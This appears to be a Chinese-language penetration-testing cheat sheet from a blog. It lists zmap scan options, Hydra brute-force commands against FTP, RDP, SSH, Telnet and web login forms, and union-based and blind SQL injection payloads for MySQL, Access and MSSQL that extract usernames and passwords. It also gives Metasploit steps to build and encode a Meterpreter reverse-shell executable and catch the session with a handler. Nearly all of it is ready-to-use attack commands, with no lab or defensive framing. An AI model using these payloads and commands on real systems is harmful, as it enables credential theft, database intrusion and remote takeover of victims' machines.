#渗透

Usage: zmap [OPTIONS]… [SUBNETS]…
基本参数:

1
2
3
4
5
-p, --target-port=port 要扫描的TCP端口号(SYN扫描)
-o, --output-file=name 输出文件
-b, --blacklist-file=path 该文件指定扫描中要排除的子网,如192.168.0.0/16
-w, --whitelist-file=path 该文件指定扫描中要包含的子网,如192.168.0.0/16
-f, --output-fields=fields 指定在扫描结果中应该被输出的域

扫描选项:

1
2
3
4
5
6
7
8
9
10
11
12
-n, --max-targets=n 指定探测目标的最大数目(数字或者地址空间的百分比)
-N, --max-results=n 指定采集结果最大值(即需要收集多少结果)
-t, --max-runtime=ses 指定发包的时长
-r, --rate=pps 指定发包的速率
-B, --bandwidth=bps 指定带宽(G,M,K)
-c, --cooldown-time=secs 上次探测发送多久后进行接收(默认是8)
-e, --seed=n 用来对地址进行排序
-T, --sender-threads=n 用来发包的线程(默认是1)
-P, --probes=n 朝每个ip发送的探测次数(默认是1)
-d, --dryrun 并不实际发包
--shards=N 设置碎片总数(默认是1)
--shard=n 设置此次扫描的碎片(默认是0)

网络选项:

1
2
3
4
5
-s, --source-port=portrange 扫描包的源端口
-S, --source-ip=iprange 扫描包的源地址
-G, --gateway-mac=addr 指定网关的mac地址
-i, --interface=name 指定要使用的网络接口
-X, --vpn 发送IP包代替以太网(在VPN中)

高级选项:

1
2
3
4
5
6
7
8
-M, --probe-module=name 选择探测模式(默认是tcp_synscan)
-O, --output-module=name 选择输出模式(默认是default)
--probe-args=args 通过扫描模块的参数
--output-args=args 通过输出模块的参数
--output-filter=filter 在输出中限制答复域的过滤器
--list-output-modules 列出可用的输出模块
--list-probe-modules 列出可用的探测模块
--list-output-fields 列出已选择的探测模块中可以被输出的域

附加选项:

1
2
3
4
5
6
7
8
9
10
11
-C, --config=filename 从文件中读取指定的配置选项(默认是/etc/zmap/zmap.conf)
-l, --log-file=name 将日志条目写入文件
-L, --log-directory=directory 将日志条目写入此目录下的时间戳文件
-q, --quiet 不输出状态更新
-g, --summary 在扫描结果后打印配置集合
--metadata-file=name 扫描元数据的输出文件(JSON)
--ignore-invalid-hosts 忽略白名单或黑名单中无效的主机
--disable-syslog 不将消息记录到系统日志
-v, --verbosity=n 日志细节等级(0-5) (默认是3)
-h, --help 打印帮助并退出
-V, --version 打印版本并退出

示例:

1
2
3
4
zmap -p 80 -o - (扫描整个因特网寻找80端口开放的主机并输出到标准输入输出)
zmap -N 5 -B 10M -p 80 -o - (找到舞台HTTP服务器,扫描速度为10Mb/s)
zmap -p 80 10.0.0.0/8 192.168.0.0/16 -o (扫描10./8, 192.168./16网段的80端口)
zmap -p 80 192.168.1.2 192.168.1.3 (扫描192.168.1.2, 192.168.1.3的80端口)

(版本 Hydra v8.0)

语法:

1
2
3
hydra [[[-l LOGIN-L FILE] [-p PASS-P FILE]] [-C FILE]] [-e nsr] [-o FILE] 
[-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT]
[-x MIN:MAX:CHARSET] [-SuvVd46] [service://server[:PORT][/OPT]]

选项:
-l name or -L login.txt 使用用户名name破解, 或从login.txt中加载用户名
-p password or -P password.txt 使用password尝试,或从password.txt中加载密码
-C FILE 加载以”login:pass” 格式分割的用户名和密码文件, 来取代-L/-P选项
-M FILE 每一行分别列出要攻击的服务器列表, ‘:’指定端口
-t TASKS 爆破每个主机同时运行的任务数默认是16
-U 服务模块使用细节(hydra -U rdp)
-h 完整帮助

可选的服务:

asterisk cisco cisco-enable cvs firebird ftp ftps http[s]-{headget}
http[s]-{getpost}-form http-proxy http-proxy-urlenum icq imap[s] irc
ldap2[s] ldap3[-{cramdigest}md5][s] mssql mysql nntp oracle-listener
oracle-sid pcanywhere pcnfs pop3[s] postgres rdp redis rexec rlogin
rsh s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn
teamspeak telnet[s] vmauthd vnc xmpp

示例:

爆破ftp:

1
hydra -l user -P passlist.txt ftp://192.168.0.1

爆破windows rdp:

1
hydra rdp://192.168.0.1/firstdomainname -l john -p doe

爆破ssh:

1
hydra -L users.txt -P password.txt -vV -o ssh.log -e ns IP ssh

爆破telnet:

1
hydra IP telnet -l username -P password.txt -t 32 -s 23 -e ns -f -V

爆破http-post-form:

http-post-form需要从web表单中请求页面和参数

1
2
3
4
5
6
7
8
语法: <url>:<form parameters>:<condition string>[:<optional>[:<optional>]

"/login.php:user=^USER^&pass=^PASS^:incorrect"
"/login.php:user=^USER^&pass=^PASS^&colon=colon:escape:S=authlog=.*success"
"/login.php:user=^USER^&pass=^PASS^&mid=123:authlog=.*failed"
"/:user=^USER&pass=^PASS^:failed:H=Authorization: Basic dT1w:H=X-User: ^USER^"
"/exchweb/bin/auth/owaauth.dll:destination=http%3A%2F%2F<target>%2Fexchange&flags=0&username=<domain>%5C^USER^&password=^PASS^&SubmitCreds=x&trusted=0:reason=:C=/exchweb"

MYSQL篇
1.内置函数和变量

1
@@datadir,version(),database(),user(),load_file(),outfile() 

2.利用concat(),group_concat(),concat_ws()拼接查询结果
实例:

1
2
xxx.php?id=1 and 1=2 union select 1,
group_concat(username,0x3a,password),3 from user

3.使用内建数据库查询表段和字段
查表段:

1
2
3
xxx.php?id=1 and 1=2 union select 1,2,table_name from 
(select * from information_schema.tables where table_schema=数据库名的hex
order by table_schema limit 0,1)t limit 1–

查字段:

1
2
3
xxx.php?id=1 and 1=2 union select 1,2,column_name from 
(select * from information_schema.columns where table_name=表名的hex
and table_schema=数据库名hex值 order by 1 limit 1,1)t limit 1–

这里可以再结合下concat的拼接功能

1
2
3
4
xxx.php?id=1 and 1=2 union select 1,2,group_concat(column_name,0x20) 
from (select * from information_schema.columns where table_name=表名的hex
and table_schema=数据库名hex值 order by 1 limit 0,n)t limit 1–
[n表示第n条数据]

Access篇

猜表名

1
*.asp?id=1 and exists (select * from admin)

猜列名

1
*.asp?id=1 and exists (select password from admin)

Order by查询

1
*.asp?id=1 order by 3

union 查询

1
*.asp?id=1 union select 1,password,3 from admin

不支持union的情况
先判断内容的长度

1
*.asp?id=132 and (select top 1 len(user) from admin) >5

然后一个一个猜

1
*.asp?id=132 and (select top 1 asc(mid(user,1,1)) from admin)>97

例如确定asc(mid(user,1,1))的值是97,即可判断出user的第一个字符为a
确定了之后继续从第二个位置猜

1
*.asp?id=132 and (select top 1 asc(mid(user,2,1)) from admin)>97

以此类推

MSSQL篇
基于报错的MSSQL注入:
判断是否是MSSQL

1
'and exists (select * from sysobjects) --

如果返回正常,就说明是MSSQL,否则当sysobjects不存在,是会报错的。

猜表名:

1
'and exists(select * from admin)--

如果存在,会返回正常页面,否则报错,就是不存在。

待续

封装攻击载荷

msfpayload:

Usage:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
msfpayload [<options>] <payload> [var=val] <[S]ummary|C|Cs[H]arp|[P]erl|Rub[Y]|[R]aw|[J]s|e[X]e|[D]ll|[V]BA|[W]ar|Pytho[N]>

Summary:summary and optons of payload

C:C language

Perl:Perl

Ruby:Ruby

Raw:Raw,allows payload to be piped into msfencode and other tools

Js:JavaScript

eXe:windows executable

Dll:Dll

Vba:VBA

War:war package

example:

msfpayload -l | grep windows | grep reverse_tcp | grep meterpreter

msfpayload windows/meterpreter/reverse_tcp O:show options

msfpayload [payload] X >xx.exe

攻击载荷编码

msfencode:

Usage:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
msfencode <options>

OPTIONS:

-a <opt> The architecture to encode as:哪种体系结构编码

-b <opt> The list of characters to avoid: '\x00\xff':指定要避免的字符

-c <opt> The number of times to encode the data:编码数据的次数

-d <opt> Specify the directory in which to look for EXE templates:指定搜索exe模板的目录

-e <opt> The encoder to use:使用的编码器

-h Help banner:帮助标题

-i <opt> Encode the contents of the supplied file path:为提供的文件内容编码

-k Keep template working; run payload in new thread (use with -x):让模板继续工作;即让载荷在新线程中运行

-l List available encoders:列出可用的编码器

-m <opt> Specifies an additional module search path:制定一个额外的模板搜索路径

-n Dump encoder information:输出编码器信息

-o <opt> The output file:输出文件

-p <opt> The platform to encode for:要编码的平台

-s <opt> The maximum size of the encoded data:编码后的最大字节数

-t <opt> The output format:输出格式 bash,c,csharp,dw,dword,java,js_be,js_le,num,perl,pl,powershell,ps1,py,python,raw,rb,ruby,sh,vbapplication,vbscript,asp,aspx,aspx-exe,dll,elf,exe,exe-only,exe-service,exe-small,loop-vbs,macho,msi,msi-nouac,osx-app,psh,psh-net,psh-reflection,vba,vba-exe,vbs,war

-v Increase verbosity:增加冗长

-x <opt> Specify an alternate executable template:指定一个备用的可执行文件模板

受害会话接收

1
2
3
4
5
6
7
8
9
10
11
msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST x.x.x.x LPORT xxxx

msf exploit(handler) > exploit

[*] Started reverse handler on x.x.x.x:xxxx

[*] Starting the payload handler...

也可以不打开msfconsole,用msfcli

Usage:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
msfcli <exploit_name> <option=value> [mode]

Mode Description

---- -----------

(A)dvanced Show available advanced options for this module显示这个模块可用的高级选项

(AC)tions Show available actions for this auxiliary module显示辅助模块的可用行为

(C)heck Run the check routine of the selected module为所选模块检查运行历程

(E)xecute Execute the selected module执行所选模块

(H)elp You're looking at it baby!么么大

(I)DS Evasion Show available ids evasion options for this module

(O)ptions Show available options for this module

(P)ayloads Show available payloads for this module

(S)ummary Show information about this module

(T)argets Show available targets for this exploit module

Examples:

msfcli multi/handler payload=windows/meterpreter/reverse_tcp lhost=IP E

msfcli auxiliary/scanner/http/http_version rhosts=IP encoder= post= nop= E

msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=6555 E
Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×